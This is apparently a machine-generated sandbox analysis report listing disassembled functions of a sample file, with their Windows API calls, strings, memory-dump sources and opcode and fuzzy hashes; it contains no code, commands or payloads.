Instruction Fuzzy Hash: CF317175608305AFE304CF14C950B9BBBF9EBC9758F10892DF9A897380D774EA058B96

Function 6C8F6ACC Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6C8F6BC4
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6C8F6BCE
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6C8F6BDB

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 01a3d0f5be8db9c793fce0092f685a2df22f01def14c46ee14060fcbc1ac743f
Instruction ID: e4c91526a24fb79e588d0031f2c419e6d32448f01055aedb331ad022c93cca58
Opcode Fuzzy Hash: 01a3d0f5be8db9c793fce0092f685a2df22f01def14c46ee14060fcbc1ac743f
Instruction Fuzzy Hash: 1631E67490122CABCB21DF68C9887CCBBB4BF08354F6046EAE41CA7250EB749F858F44

Function 6C8BB040 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

BCryptGenRandom.BCRYPT(00000000,?,?,00000002,00000000,?,00000007,?,6C8BAE46,?,?,?,?,6C8FE0E7,?,?), ref: 6C8BB058
SystemFunction036.ADVAPI32(?,?,?,6C8BAE46,?,?,?,?,6C8FE0E7,?,?,00000020), ref: 6C8BB069

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: CryptFunction036RandomSystem
String ID:
API String ID: 1232939966-0
Opcode ID: 76b0923f5068b937407c241e3025b445739f6200988d7f3e8a92d54db3f76442
Instruction ID: 23265ba2580911a67d0a8f247316e4c1d5935c25976391b9366a4417bcd1f25e
Opcode Fuzzy Hash: 76b0923f5068b937407c241e3025b445739f6200988d7f3e8a92d54db3f76442
Instruction Fuzzy Hash: 76E0D833306329EBE72005955CC4F27BBACDF8BAEDF220515FA2497191C6514C0502B4

Function 61E62554 Relevance: 3.0, Strings: 2, Instructions: 459COMMON

Download Yara Rule

Strings

0, xrefs: 61E6283F
BINARY, xrefs: 61E62831, 61E62877, 61E628BA, 61E628D8

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: 0$BINARY
API String ID: 0-1556553403
Opcode ID: dbf5463f1b26696ad097613312d0e8a281b4cdde38a6e2070d2bb0de8395586b
Instruction ID: e60323d610b5e953cfa2bbac53d573cb4ccd773d83c01c1116e4164fd3caed25
Opcode Fuzzy Hash: dbf5463f1b26696ad097613312d0e8a281b4cdde38a6e2070d2bb0de8395586b
Instruction Fuzzy Hash: 5E22E1B4E0425A8FDB04CFA8D480A9DBBF1FF98314F658569E859AB355D734E842CF80

Function 6C8C9DF1 Relevance: 2.5, Strings: 1, Instructions: 1234COMMON

Download Yara Rule

Strings

xn--, xrefs: 6C8CA041

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: xn--
API String ID: 0-2826155999
Opcode ID: 01c0f8efbc34d727ddf536cd10f47bc4d675753d6f562c74d5a7471ed8988f4b
Instruction ID: d8e0197b8338e28b6894135466d5117d680d3c0118bf96ca5ac455786d921828
Opcode Fuzzy Hash: 01c0f8efbc34d727ddf536cd10f47bc4d675753d6f562c74d5a7471ed8988f4b
Instruction Fuzzy Hash: F8A2ABB1E052688BDF24CF68C9A03EDB7B1FF15308F1446AAD4667BA80D335D985CB52

Function 61E7A790 Relevance: 2.4, Strings: 1, Instructions: 1178COMMON

Download Yara Rule

Strings

4, xrefs: 61E7B364

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 5679775b54a46e44c50c4d08064f7b18583e7f18de76afa1aacc819b64765499
Instruction ID: 518d6d0113e266a091a0cbf43dd9b6b92f5400263bfdc1a72100ca210d41eac5
Opcode Fuzzy Hash: 5679775b54a46e44c50c4d08064f7b18583e7f18de76afa1aacc819b64765499
Instruction Fuzzy Hash: E7C2D274A042598FEB20CFA8C490B9DBBF1BF89308F24C559E855AB390D774E886CF51

Function 61E98FE2 Relevance: 2.2, Strings: 1, Instructions: 993COMMON

Download Yara Rule

Strings

0, xrefs: 61E99C5F

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 1683cc5e6fcc29f367190e58bbfdda77c9789cfa2534cb2ac865ad9609eb6d8f
Instruction ID: b9cfdf9aff36692a2be4ad7309719c75a621d287fa98b86d1028b92f8662c608
Opcode Fuzzy Hash: 1683cc5e6fcc29f367190e58bbfdda77c9789cfa2534cb2ac865ad9609eb6d8f
Instruction Fuzzy Hash: 83A2F775A04229CFDB25CF68C890B99BBB1BB89304F2584D9D88DA7351DB30EE85CF51

Function 6C8C8E00 Relevance: 1.9, APIs: 1, Instructions: 411COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C8C8E2B

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: fe4136daf117cff46768517c689f90f7af7920e408ce8bdf3096aa9c4c2bf2e9
Instruction ID: a79dd5f8747dcaa6dae8b15a9c84f47c77e41cd369c6c04ff26f898bd8ce20b2
Opcode Fuzzy Hash: fe4136daf117cff46768517c689f90f7af7920e408ce8bdf3096aa9c4c2bf2e9
Instruction Fuzzy Hash: C8E1AD317083458FC7358F28C9907AAB7E2EB89308F594D6EE5D98B691D731D845CB83

Function 6C8C88A0 Relevance: 1.9, APIs: 1, Instructions: 400COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C8C88CB

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 10e617ae4d5cbc77c6b7dabd0ce70fa163320d21a6e2eaed9e393f95c3d77419
Instruction ID: ad5cbac2fc36615434f7c58fc1f860f2581df8c429582593faf42c80f741c76e
Opcode Fuzzy Hash: 10e617ae4d5cbc77c6b7dabd0ce70fa163320d21a6e2eaed9e393f95c3d77419
Instruction Fuzzy Hash: 34E1BE71B483049FC734CF18CA916AAB7E6EBC5314F158E2EE99997650DB30E845CB83

Function 6C8FD735 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6C8FD730,?,?,00000008,?,?,6C8FD333,00000000), ref: 6C8FD962

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 61b3d07974214e9ef79778495244f5cee1b1af8f8903424aa6f13c85cb829352
Instruction ID: 4eb9e4ee90697391b67464d51b31a8a3418c111f620e436d6f3e5b64ef5114df
Opcode Fuzzy Hash: 61b3d07974214e9ef79778495244f5cee1b1af8f8903424aa6f13c85cb829352
Instruction Fuzzy Hash: BCB13B31621608DFD715CF28C586B547BE0FF453A8F258A59E9E9CF6A2C335E982CB40

Function 6C8F13D6 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6C8F13EC

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: f9b0e09a4da238defba34ee5754c4ee4cf82e6ec76e435db1e89741b1c4bc973
Instruction ID: 4cd3e33447872625385db04459cbb1d96bb52aca231a497e53261734b7f131b0
Opcode Fuzzy Hash: f9b0e09a4da238defba34ee5754c4ee4cf82e6ec76e435db1e89741b1c4bc973
Instruction Fuzzy Hash: EAA1ADB2A1A209CFDB28CF55C89179EBBB1FB49329F24C52AD425EB780D3349945CF50

Function 6C8FF340 Relevance: 1.7, Strings: 1, Instructions: 415COMMON

Download Yara Rule

Strings

AuthenticAMDHygonGenuineGenuineIntel, xrefs: 6C8FF76E

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: AuthenticAMDHygonGenuineGenuineIntel
API String ID: 0-1939122913
Opcode ID: 331ec66b404f18d4972d27dd6bb4ab1c3ff6a73d235ffb1e1a0792264c2e8a1a
Instruction ID: b3409a9f70108fc6d7f191b41665949ab1ef61eba3d06b8b87d89a11e59144cf
Opcode Fuzzy Hash: 331ec66b404f18d4972d27dd6bb4ab1c3ff6a73d235ffb1e1a0792264c2e8a1a
Instruction Fuzzy Hash: 6BD1C673F10A254BEB18CE99CC913ADB6E2EBD8350F19453ED916E7781C6B89D01C790

Function 6C8F717D Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1adff3f395f4ec3291d666fb94c70b1ff98353995e941717d9dea8db9ed245a
Instruction ID: b1991125e4d881f8eedda858001b4122ac781e8ac18a3785c5a0a753f3c5d8cc
Opcode Fuzzy Hash: e1adff3f395f4ec3291d666fb94c70b1ff98353995e941717d9dea8db9ed245a
Instruction Fuzzy Hash: 8E41A67580521DAFEB20DF69CD88AEABBB9EB45344F1446EDE429D3600DB349A858F10

Function 6C8E2290 Relevance: 1.6, Strings: 1, Instructions: 383COMMON

Download Yara Rule

Strings

UNC\, xrefs: 6C8E25EC

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: afa51ac9c9f5297684ff47b4f32ef69f8ac7f10dc162a6e70948605fd417461c
Instruction ID: 4dc8815018c1dadf9f890a0de4fc77b28e24730905d7e5f138fb383d58f828b1
Opcode Fuzzy Hash: afa51ac9c9f5297684ff47b4f32ef69f8ac7f10dc162a6e70948605fd417461c
Instruction Fuzzy Hash: 3DE19071D0421A4FD720CF19CA9839EBBF26B8F31CF198569C4645F692C77D8946CB90

Function 61E40065 Relevance: 1.6, APIs: 1, Instructions: 349COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E4010A

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 82c5080adff732aa16026258a5585b3c81513096f7676642f0750af1a48823a4
Instruction ID: 5f607dce3bb248c7bc7ba639c908390524c363e3b0c88829d9203463054831df
Opcode Fuzzy Hash: 82c5080adff732aa16026258a5585b3c81513096f7676642f0750af1a48823a4
Instruction Fuzzy Hash: D4E12675A04209CFDB04CFA8D49069EBBF2BF98314F29856AEC54EB346D734E951CB90

Function 00418CF0 Relevance: 1.6, APIs: 1, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

GetSystemTime.KERNEL32(?,02CC1280,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID:
API String ID: 62757014-0
Opcode ID: cce225ff94706f9395c058c90c0b5c4f8768ee8627e86dd20290b192b3a29a40
Instruction ID: 470bfa94025adedc24e37c5607c38d4270d2eadb7b78e810e6eac55b0552b998
Opcode Fuzzy Hash: cce225ff94706f9395c058c90c0b5c4f8768ee8627e86dd20290b192b3a29a40
Instruction Fuzzy Hash: 1211D331D011089FCB04EFA9D891AEE77BAEF58314F44C05EF41667185EF386984CBA6

Function 0041D21A Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001D1D8), ref: 0041D21F

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8b874fd89f0884f437ce1ddba4ceeb6b336b4db7298e80d3acb37d3ef468addd
Instruction ID: 17ba3a89fab13532ca0ccd526d59b343203315732a49a137553a0870c120f9dd
Opcode Fuzzy Hash: 8b874fd89f0884f437ce1ddba4ceeb6b336b4db7298e80d3acb37d3ef468addd
Instruction Fuzzy Hash: B19002F465151096860457755C4D5857A905E8D64675185A1AC06D4054DBA840409529

Function 61E18736 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

h(a, xrefs: 61E18830

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: h(a
API String ID: 0-2400461097
Opcode ID: 5ee77b5fb974a29124882730f08498d74f86221d2b172790f955c6dba14d74d0
Instruction ID: f5bca11cc97640b6e875e2d2b4b9a879d1eb82f3f63dc60f1c56b61e4975c6c7
Opcode Fuzzy Hash: 5ee77b5fb974a29124882730f08498d74f86221d2b172790f955c6dba14d74d0
Instruction Fuzzy Hash: 6C91A03090C2918BEB05CEA8D4C2B59BBB2AF85308F6CC199DC499F38AC775D855D791

Function 6C8A257C Relevance: .8, Instructions: 823COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be96e10ef3e90ad4488c844f3e460eb31a832edbd8e25d308b9eb4bd4b7fbba7
Instruction ID: c8415ac3429bab1bf7e341b61384e0129e6330db3beef379fe196074f985b6b7
Opcode Fuzzy Hash: be96e10ef3e90ad4488c844f3e460eb31a832edbd8e25d308b9eb4bd4b7fbba7
Instruction Fuzzy Hash: 7382E075901F448FD365CF69C980B92B7F1BF4A304F108A2ED9EA87A51DB34E545CB90

Function 6C8BCEB0 Relevance: .6, Instructions: 649COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4de5e9ad9257baa7ed9ddbef9df923ddb39b7e3a6cb56d8acad4ef14180f4619
Instruction ID: 19a011d1b8929c9d564b5a978c281dbd11b1c93760265b7bfab6d219df6163dd
Opcode Fuzzy Hash: 4de5e9ad9257baa7ed9ddbef9df923ddb39b7e3a6cb56d8acad4ef14180f4619
Instruction Fuzzy Hash: 6542A2706056469FC335CF19C290716FBF1BF4A318F288E6EC49A9BB56D235E885CB90

Function 6C8EEC60 Relevance: .5, Instructions: 501COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
